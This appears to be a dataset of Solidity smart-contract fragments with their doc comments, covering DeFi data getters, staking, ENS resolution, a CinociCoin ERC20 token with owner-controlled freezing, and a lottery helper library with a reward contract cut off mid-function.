data.feeDistributor.currentSupply = feeDistributor_.veSupplyPerWeek( blockCurrentWeek - 1 weeks ); data.feeDistributor.tradingWeekTotalSupply = feeDistributor_.totalSupplyAtTimestamp( blockCurrentWeek ); data.feeDistributor.adminFeeRate = feeDistributor_.adminFeeRate(); } } function getSwapPairData(address swapPair) public view returns (SwapPairData memory data) { IUniswapV2Pair pair = IUniswapV2Pair(swapPair); data.token0 = pair.token0(); data.token1 = pair.token1(); (data.reserve0, data.reserve1, ) = pair.getReserves(); } function getUnsettledTrades( address exchangeAddress, address account, uint256[] memory epochs ) external view returns ( UnsettledTrade[] memory unsettledTradeM, UnsettledTrade[] memory unsettledTradeA, UnsettledTrade[] memory unsettledTradeB ) { IExchange exchange = IExchange(exchangeAddress); unsettledTradeM = new UnsettledTrade[](epochs.length); unsettledTradeA = new UnsettledTrade[](epochs.length); unsettledTradeB = new UnsettledTrade[](epochs.length); for (uint256 i = 0; i < epochs.length; i++) { unsettledTradeM[i] = exchange.unsettledTrades(account, TRANCHE_M, epochs[i]); unsettledTradeA[i] = exchange.unsettledTrades(account, TRANCHE_A, epochs[i]); unsettledTradeB[i] = exchange.unsettledTrades(account, TRANCHE_B, epochs[i]); } } }
This function should be call as a "view" function off-chain to get the return value, e.g. using `contract.getProtocolData.call()` in web3 or `contract.callStatic.getProtocolData()` in ethers.js.
function getProtocolData( address primaryMarket, address exchange, address swapPair, address feeDistributor, address account, uint256 fundVersion ) external returns (ProtocolData memory data) { data.blockNumber = block.number; data.blockTimestamp = block.timestamp; data.wallet = getWalletData(primaryMarket, exchange, account); data.fund = getFundData(primaryMarket, exchange, fundVersion); data.primaryMarket = getPrimaryMarketData(primaryMarket, account, fundVersion); data.exchange = getExchangeData(exchange, account); data.governance = getGovernanceData(exchange, feeDistributor, account); data.pair = getSwapPairData(swapPair); }
15,846,633
./full_match/1/0xBcbba981bFf1E9530CbcA0f40F67Aa85F8944038/sources/src/auctions/XAuctions.sol
read auction to memory
function _setPrice(uint8 _auctionId, uint64 newPrice) internal { Auction memory auction = auctions[_auctionId]; if (auction.stage != AuctionStage.Closed) { revert StageMustBeBiddingClosed(auction.stage); } if (newPrice < minBid) { revert PriceIsLowerThanTheMinBid(newPrice, minBid); } auctions[auction.id].price = newPrice; emit PriceSet(_auctionId, newPrice); }
9,610,371
./full_match/5/0xeB73EE1fC91770B728DA167Eaa72E1621472060A/sources/contracts/Sam.sol
Removes a wallet from the whitelist. wallet The address of the wallet to be removed./ Check if the wallet is not whitelisted Remove the wallet from the whitelist Emit an event to indicate that the wallet has been removed from the whitelist
function removeFromWhitelist(address wallet) external onlyOwner { if (!isWhitelisted[wallet]) revert Sam_Address_Not_Whitelisted(); isWhitelisted[wallet] = false; emit RemovedFromWhitelist(wallet); }
1,853,997
./full_match/42/0xeF1A492c52B837162BaF8190c34b6eb72e575503/sources/browser/stake.sol
calculating the next investmentCountsaving the amount into investments mapping
function stakeAmount(uint amount, uint8 lockingPeriod) public verifyStakingConditions(amount, lockingPeriod) returns(bool){ uint nextInvestmentCount = investmentCount[msg.sender]; Investment memory investment = Investment({ stakeAmount: amount, lockUntill: getLockingPeriod(lockingPeriod), lockPeriod: lockingPeriod }); investments[msg.sender][nextInvestmentCount + 1] = investment; investmentCount[msg.sender] = (investmentCount[msg.sender]).add(1); emit Stake(amount, msg.sender); return true; }
16,256,681
./full_match/3/0x10522d586855BACCe17B60C8f545ccf84224F7Fb/sources/contracts/ENSRegistryWithFallback.sol
Returns the address of the resolver for the specified node. node The specified node. return address of the resolver./
function resolver(bytes32 node) public override view returns (address) { if (!recordExists(node)) { return old.resolver(node); } return super.resolver(node); }
8,196,088
./full_match/1/0xD76Ea1E14F848e801c59De8b16B89F778e2827f1/sources/browser/TRI.sol
Upgrades to a new {IRelayHub} instance/
function upgradeRelayHub(address _newRelayHub) public onlyOwner { _upgradeRelayHub(_newRelayHub); }
8,448,129
./full_match/42/0xD670A711ae635ac8434bC67855EFB09F30086367/sources/ERC20.sol
See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. Requirements: - `sender` and `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`. - the caller must have allowance for ``sender``'s tokens of at least `amount`./
function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; }
9,578,289
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { using SafeMath for uint256; // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to].add(_value) > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from].add(balanceOf[_to]); // Subtract from the sender balanceOf[_from] = balanceOf[_from].sub(_value); // Add the same to the recipient balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance //allowance[_from][msg.sender] -= _value; allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract CinociCoin is Ownable, TokenERC20 { using SafeMath for uint256; mapping (address => bool) public frozenAccount; mapping (address => uint256) public freezingPeriod; // how many days the account must remain frozen? mapping (address => bool) public exchangesAccounts; address public bountyManagerAddress; address public bountyManagerDistributionContract = 0x0; address public fundAccount; // ballast fund address bool public isSetFund = false; // if ballast fund is set uint256 public creationDate; uint256 public constant frozenDaysForAdvisor = 187; uint256 public constant frozenDaysForBounty = 187; uint256 public constant frozenDaysForEarlyInvestor = 52; uint256 public constant frozenDaysForICO = 66; uint256 public constant frozenDaysForPartner = 370; uint256 public constant frozenDaysForPreICO = 52; uint256 public constant frozenDaysforTestExchange = 0; /** * allowed for a bounty manager account only */ modifier onlyBountyManager(){ require((msg.sender == bountyManagerDistributionContract) || (msg.sender == bountyManagerAddress)); _; } modifier onlyExchangesAccounts(){ require(exchangesAccounts[msg.sender]); _; } /** * allowed for a fund account only */ modifier onlyFund(){ require(msg.sender == fundAccount); _; } /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /** * Initializes contract with initial supply tokens to the creator of the contract * * */ function CinociCoin( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public { /* solium-disable-next-line */ creationDate = now; address advisor = 0x32c5Ec858c52F8635Bd92e44d8797e5d356eBd05; address bountyManager = 0xdDa9bcf30AFDC40a5fFa6e1b6f70ef030A3E32f4; address earlyInvestor = 0x02FF2bA62440c92D2A02D95Df6fc233eA68c2091; address partner = 0x6A45baAEb21D49fD85B309235Ef2920d3A648858; address exchange1 = 0x8Bd10d3383504a12FD27A1Fd5c0E7bCeae3C8997; address exchange2 = 0xce8b8e7113072C5308cec669375E0Ab364b3435C; _initializeAccount(partner, frozenDaysForPartner, 30000000); _initializeAccount(advisor, frozenDaysForAdvisor, 20000000); _initializeAccount(earlyInvestor, frozenDaysForEarlyInvestor, 10000000); _initializeAccount(exchange1, frozenDaysforTestExchange, 1000); _initializeAccount(exchange2, frozenDaysforTestExchange, 1000); _initializeAccount(bountyManager, frozenDaysForBounty, 15000000); bountyManagerAddress = bountyManager; } /** * Only owner function to set ballast fund account address * * @dev it can be set only once * @param _address smart contract address of ballast fund */ function setFundAccount(address _address) onlyOwner public{ require (_address != 0x0); require (!isSetFund); fundAccount = _address; isSetFund = true; } function addExchangeAccounts(address _address) onlyOwner public{ require(_address != 0x0); exchangesAccounts[_address] = true; } function removeExchangeAccounts(address _address) onlyOwner public{ delete exchangesAccounts[_address]; } /** * Initialize accounts when token deploy occurs * * initialize `_address` account, with balance equal `_value` and frozen for `_frozenDays` * * @param _address wallet address to initialize * @param _frozenDays quantity of days to freeze account * @param _value quantity of tokens to send to account */ function _initializeAccount(address _address, uint _frozenDays, uint _value) internal{ _transfer(msg.sender, _address, _value * 10 ** uint256(decimals)); freezingPeriod[_address] = _frozenDays; _freezeAccount(_address, true); } /** * Check if account freezing period expired * * `now` has to be greater or equal than `creationDate` + `freezingPeriod[_address]` * `1 day` * * @param _address account address to check if allowed to transfer tokens * @return bool true if is allowed to transfer and false if not */ function _isTransferAllowed( address _address ) view public returns (bool) { /* solium-disable-next-line */ if( now >= creationDate + freezingPeriod[_address] * 1 days ){ return ( true ); } else { return ( false ); } } /** * Internal function to transfer tokens * * @param _from account to withdraw tokens * @param _to account to receive tokens * @param _value quantity of tokens to transfer */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to].add(_value) > balanceOf[_to]); // Check for overflows // check if the sender is under a freezing period if(_isTransferAllowed(_from)){ _setFreezingPeriod(_from, false, 0); } // check if the recipient is under a freezing period if(_isTransferAllowed(_to)){ _setFreezingPeriod(_to, false, 0); } require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); } /** * Internal function to deliver tokens for bounty, pre-ICO or ICO with determined freezing periods * * @param _from account address to withdraw tokens * @param _to account address to send tokens * @param _value quantity of tokes to send * @param _frozenDays quantity of days to freeze account */ function _tokenDelivery(address _from, address _to, uint _value, uint _frozenDays) internal { freezingPeriod[_to] = 0; _freezeAccount(_to, false); _transfer(_from, _to, _value); freezingPeriod[_to] = _frozenDays; _freezeAccount(_to, true); } /** * Only owner function to deliver tokens for pre-ICO investors * * @param _to account address who will receive the tokens * @param _value quantity of tokens to deliver */ function preICOTokenDelivery(address _to, uint _value) onlyOwner public { _tokenDelivery(msg.sender, _to, _value, frozenDaysForPreICO); } /** * Only owner function to deliver tokens for ICO investors * * @param _to account address who will receive tokens * @param _value quantity of tokens to deliver */ function ICOTokenDelivery(address _to, uint _value) onlyOwner public { _tokenDelivery(msg.sender, _to, _value, frozenDaysForICO); } function setBountyDistributionContract(address _contractAddress) onlyOwner public { bountyManagerDistributionContract = _contractAddress; } /**onlyBounty * Only bounty manager distribution contract function to deliver tokens for bounty community * * @param _to account addres who will receive tokens * @param _value quantity of tokens to deliver */ function bountyTransfer(address _to, uint _value) onlyBountyManager public { _freezeAccount(bountyManagerAddress, false); _tokenDelivery(bountyManagerAddress, _to, _value, frozenDaysForBounty); _freezeAccount(bountyManagerAddress, true); } /** * Function to get days to unfreeze some account * * @param _address account address to get days * @return result quantity of days to unfreeze `address` */ function daysToUnfreeze(address _address) public view returns (uint256) { require(_address != 0x0); /* solium-disable-next-line */ uint256 _now = now; uint256 result = 0; if( _now <= creationDate + freezingPeriod[_address] * 1 days ) { // still under the freezing period. uint256 finalPeriod = (creationDate + freezingPeriod[_address] * 1 days) / 1 days; uint256 currePeriod = _now / 1 days; result = finalPeriod - currePeriod; } return result; } /** * @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens * @param target Address to be frozen * @param freeze either to freeze it or not */ function _freezeAccount(address target, bool freeze) internal { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /** * Only owner function to call `_freezeAccount` directly * * @param target account address to freeze * @param freeze true to freeze account and false to unfreeze */ function freezeAccount(address target, bool freeze) onlyOwner public { _freezeAccount(target, freeze); } /** * Internal call to set freezing period for some account * * @param _target account address to freeze * @param _freeze true to freeze account and false to unfreeze * @param _days period to keep account frozen */ function _setFreezingPeriod(address _target, bool _freeze, uint256 _days) internal { _freezeAccount(_target, _freeze); freezingPeriod[_target] = _days; } /** * Only owner function to call `_setFreezingPeriod` directly * * @param _target account address to freeze * @param _freeze true to freeze account and false to unfreeze * @param _days period to keep account frozen */ function setFreezingPeriod(address _target, bool _freeze, uint256 _days) onlyOwner public { _setFreezingPeriod(_target, _freeze, _days); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance //allowance[_from][msg.sender] -= _value; allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { // check if the sender is under a freezing period if( _isTransferAllowed(msg.sender) ) { _setFreezingPeriod(msg.sender, false, 0); } allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { // check if the sender is under a freezing period if( _isTransferAllowed(msg.sender) ) { _setFreezingPeriod(msg.sender, false, 0); } tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough return _burn(msg.sender, _value); } /** * */ function _burn(address _from, uint256 _value) internal returns (bool success) { balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(_from, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance return _burn(_from, _value); } /** * Only ballast fund function to burn tokens from account * * Allows `fundAccount` burn tokens to send equivalent ether for account that claimed it * @param _from account address to burn tokens * @param _value quantity of tokens to burn */ function redemptionBurn(address _from, uint256 _value) onlyFund public{ _burn(_from, _value); } }
Destroy tokens Remove `_value` tokens from the system irreversibly _value the amount of money to burn/
function burn(uint256 _value) public returns (bool success) { return _burn(msg.sender, _value); }
202,632
pragma solidity ^0.4.24; /* * gibmireinbier * 0xA4a799086aE18D7db6C4b57f496B081b44888888 * gibmireinbier@gmail.com */ library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Multiplies two signed integers, reverts on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below int256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0); // Solidity only automatically asserts when dividing by 0 require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow int256 c = a / b; return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Subtracts two signed integers, reverts on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Adds two signed integers, reverts on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library Helper { using SafeMath for uint256; uint256 constant public ZOOM = 1000; uint256 constant public SDIVIDER = 3450000; uint256 constant public PDIVIDER = 3450000; uint256 constant public RDIVIDER = 1580000; // Starting LS price (SLP) uint256 constant public SLP = 0.002 ether; // Starting Added Time (SAT) uint256 constant public SAT = 30; // seconds // Price normalization (PN) uint256 constant public PN = 777; // EarlyIncome base uint256 constant public PBASE = 13; uint256 constant public PMULTI = 26; uint256 constant public LBase = 15; uint256 constant public ONE_HOUR = 3600; uint256 constant public ONE_DAY = 24 * ONE_HOUR; //uint256 constant public TIMEOUT0 = 3 * ONE_HOUR; uint256 constant public TIMEOUT1 = 12 * ONE_HOUR; function bytes32ToString (bytes32 data) public pure returns (string) { bytes memory bytesString = new bytes(32); for (uint j=0; j<32; j++) { byte char = byte(bytes32(uint(data) * 2 ** (8 * j))); if (char != 0) { bytesString[j] = char; } } return string(bytesString); } function uintToBytes32(uint256 n) public pure returns (bytes32) { return bytes32(n); } function bytes32ToUint(bytes32 n) public pure returns (uint256) { return uint256(n); } function stringToBytes32(string memory source) public pure returns (bytes32 result) { bytes memory tempEmptyStringTest = bytes(source); if (tempEmptyStringTest.length == 0) { return 0x0; } assembly { result := mload(add(source, 32)) } } function stringToUint(string memory source) public pure returns (uint256) { return bytes32ToUint(stringToBytes32(source)); } function uintToString(uint256 _uint) public pure returns (string) { return bytes32ToString(uintToBytes32(_uint)); } /* function getSlice(uint256 begin, uint256 end, string text) public pure returns (string) { bytes memory a = new bytes(end-begin+1); for(uint i = 0; i <= end - begin; i++){ a[i] = bytes(text)[i + begin - 1]; } return string(a); } */ function validUsername(string _username) public pure returns(bool) { uint256 len = bytes(_username).length; // Im Raum [4, 18] if ((len < 4) || (len > 18)) return false; // Letzte Char != ' ' if (bytes(_username)[len-1] == 32) return false; // Erste Char != '0' return uint256(bytes(_username)[0]) != 48; } // Lottery Helper // Seconds added per LT = SAT - ((Current no. of LT + 1) / SDIVIDER)^6 function getAddedTime(uint256 _rTicketSum, uint256 _tAmount) public pure returns (uint256) { //Luppe = 10000 = 10^4 uint256 base = (_rTicketSum + 1).mul(10000) / SDIVIDER; uint256 expo = base; expo = expo.mul(expo).mul(expo); // ^3 expo = expo.mul(expo); // ^6 // div 10000^6 expo = expo / (10**24); if (expo > SAT) return 0; return (SAT - expo).mul(_tAmount); } function getNewEndTime(uint256 toAddTime, uint256 slideEndTime, uint256 fixedEndTime) public view returns(uint256) { uint256 _slideEndTime = (slideEndTime).add(toAddTime); uint256 timeout = _slideEndTime.sub(block.timestamp); // timeout capped at TIMEOUT1 if (timeout > TIMEOUT1) timeout = TIMEOUT1; _slideEndTime = (block.timestamp).add(timeout); // Capped at fixedEndTime if (_slideEndTime > fixedEndTime) return fixedEndTime; return _slideEndTime; } // get random in range [1, _range] with _seed function getRandom(uint256 _seed, uint256 _range) public pure returns(uint256) { if (_range == 0) return _seed; return (_seed % _range) + 1; } function getEarlyIncomeMul(uint256 _ticketSum) public pure returns(uint256) { // Early-Multiplier = 1 + PBASE / (1 + PMULTI * ((Current No. of LT)/RDIVIDER)^6) uint256 base = _ticketSum * ZOOM / RDIVIDER; uint256 expo = base.mul(base).mul(base); //^3 expo = expo.mul(expo) / (ZOOM**6); //^6 return (1 + PBASE / (1 + expo.mul(PMULTI))); } // get reveiced Tickets, based on current round ticketSum function getTAmount(uint256 _ethAmount, uint256 _ticketSum) public pure returns(uint256) { uint256 _tPrice = getTPrice(_ticketSum); return _ethAmount.div(_tPrice); } // Lotto-Multiplier = 1 + LBase * (Current No. of Tickets / PDivider)^6 function getTMul(uint256 _ticketSum) // Unit Wei public pure returns(uint256) { uint256 base = _ticketSum * ZOOM / PDIVIDER; uint256 expo = base.mul(base).mul(base); expo = expo.mul(expo); // ^6 return 1 + expo.mul(LBase) / (10**18); } // get ticket price, based on current round ticketSum //unit in ETH, no need / zoom^6 function getTPrice(uint256 _ticketSum) public pure returns(uint256) { uint256 base = (_ticketSum + 1).mul(ZOOM) / PDIVIDER; uint256 expo = base; expo = expo.mul(expo).mul(expo); // ^3 expo = expo.mul(expo); // ^6 uint256 tPrice = SLP + expo / PN; return tPrice; } // get weight of slot, chance to win grandPot function getSlotWeight(uint256 _ethAmount, uint256 _ticketSum) public pure returns(uint256) { uint256 _tAmount = getTAmount(_ethAmount, _ticketSum); uint256 _tMul = getTMul(_ticketSum); return (_tAmount).mul(_tMul); } // used to draw grandpot results // weightRange = roundWeight * grandpot / (grandpot - initGrandPot) // grandPot = initGrandPot + round investedSum(for grandPot) function getWeightRange(uint256 grandPot, uint256 initGrandPot, uint256 curRWeight) public pure returns(uint256) { //calculate round grandPot-investedSum uint256 grandPotInvest = grandPot - initGrandPot; if (grandPotInvest == 0) return 8; uint256 zoomMul = grandPot * ZOOM / grandPotInvest; uint256 weightRange = zoomMul * curRWeight / ZOOM; if (weightRange < curRWeight) weightRange = curRWeight; return weightRange; } } interface DevTeamInterface { function setF2mAddress(address _address) public; function setLotteryAddress(address _address) public; function setCitizenAddress(address _address) public; function setBankAddress(address _address) public; function setRewardAddress(address _address) public; function setWhitelistAddress(address _address) public; function setupNetwork() public; } interface LotteryInterface { function joinNetwork(address[6] _contract) public; // call one time function activeFirstRound() public; // Core Functions function pushToPot() public payable; function finalizeable() public view returns(bool); // bounty function finalize() public; function buy(string _sSalt) public payable; function buyFor(string _sSalt, address _sender) public payable; //function withdraw() public; function withdrawFor(address _sender) public returns(uint256); function getRewardBalance(address _buyer) public view returns(uint256); function getTotalPot() public view returns(uint256); // EarlyIncome function getEarlyIncomeByAddress(address _buyer) public view returns(uint256); // included claimed amount // function getEarlyIncomeByAddressRound(address _buyer, uint256 _rId) public view returns(uint256); function getCurEarlyIncomeByAddress(address _buyer) public view returns(uint256); // function getCurEarlyIncomeByAddressRound(address _buyer, uint256 _rId) public view returns(uint256); function getCurRoundId() public view returns(uint256); // set endRound, prepare to upgrade new version function setLastRound(uint256 _lastRoundId) public; function getPInvestedSumByRound(uint256 _rId, address _buyer) public view returns(uint256); function cashoutable(address _address) public view returns(bool); function isLastRound() public view returns(bool); } contract Reward { using SafeMath for uint256; event NewReward(address indexed _lucker, uint256[5] _info); modifier onlyOwner() { require(msg.sender == address(lotteryContract), "This is just log for lottery contract"); _; } modifier claimable() { require( rest > 1 && block.number > lastBlock && lastRoundClaim[msg.sender] < lastRoundId, "out of stock in this round, block or already claimed"); _; } /* enum RewardType { Minor, 0 Major, 1 Grand, 2 Bounty 3 SBounty 4 // smal bounty } */ struct Rewards { address lucker; uint256 time; uint256 rId; uint256 value; uint256 winNumber; uint256 rewardType; } Rewards[] public rewardList; // reward array by address mapping( address => uint256[]) public pReward; // reward sum by address mapping( address => uint256) public pRewardedSum; // reward sum by address, round mapping( address => mapping(uint256 => uint256)) public pRewardedSumPerRound; // reward sum by round mapping( uint256 => uint256) public rRewardedSum; // reward sum all round, all addresses uint256 public rewardedSum; // last claimed round by address to check timeout // timeout balance will be pushed to dividends mapping(address => uint256) lastRoundClaim; LotteryInterface lotteryContract; ////////////////////////////////////////////////////////// // rest times for sBounty, small bountys free for all (round-players) after each round uint256 public rest = 0; // last block that sBounty claimed, to prevent 2 time claimed in same block uint256 public lastBlock = 0; // sBounty will be saved in logs of last round // new round will be started after sBountys pushed uint256 public lastRoundId; constructor (address _devTeam) public { // register address in network DevTeamInterface(_devTeam).setRewardAddress(address(this)); } // _contract = [f2mAddress, bankAddress, citizenAddress, lotteryAddress, rewardAddress, whitelistAddress]; function joinNetwork(address[6] _contract) public { require((address(lotteryContract) == 0x0),"already setup"); lotteryContract = LotteryInterface(_contract[3]); } // sBounty program // rules : // 1. accept only eth from lottery contract // 2. one claim per block // 3. one claim per address (reset each round) function getSBounty() public view returns(uint256, uint256, uint256) { uint256 sBountyAmount = rest < 2 ? 0 : address(this).balance / (rest-1); return (rest, sBountyAmount, lastRoundId); } // pushed from lottery contract only function pushBounty(uint256 _curRoundId) public payable onlyOwner() { rest = 8; lastBlock = block.number; lastRoundId = _curRoundId; } function claim() public claimable() { address _sender = msg.sender; uint256 rInvested = lotteryContract.getPInvestedSumByRound(lastRoundId, _sender); require(rInvested > 0, "sorry, not invested no bounty"); lastBlock = block.number; lastRoundClaim[_sender] = lastRoundId; rest = rest - 1; uint256 claimAmount = address(this).balance / rest; _sender.transfer(claimAmount); mintRewardCore( _sender, lastRoundId, 0, 0, claimAmount, 4 ); } // rewards sealed by lottery contract function mintReward( address _lucker, uint256 _curRoundId, uint256 _tNumberFrom, uint256 _tNumberTo, uint256 _value, uint256 _rewardType) public onlyOwner() { 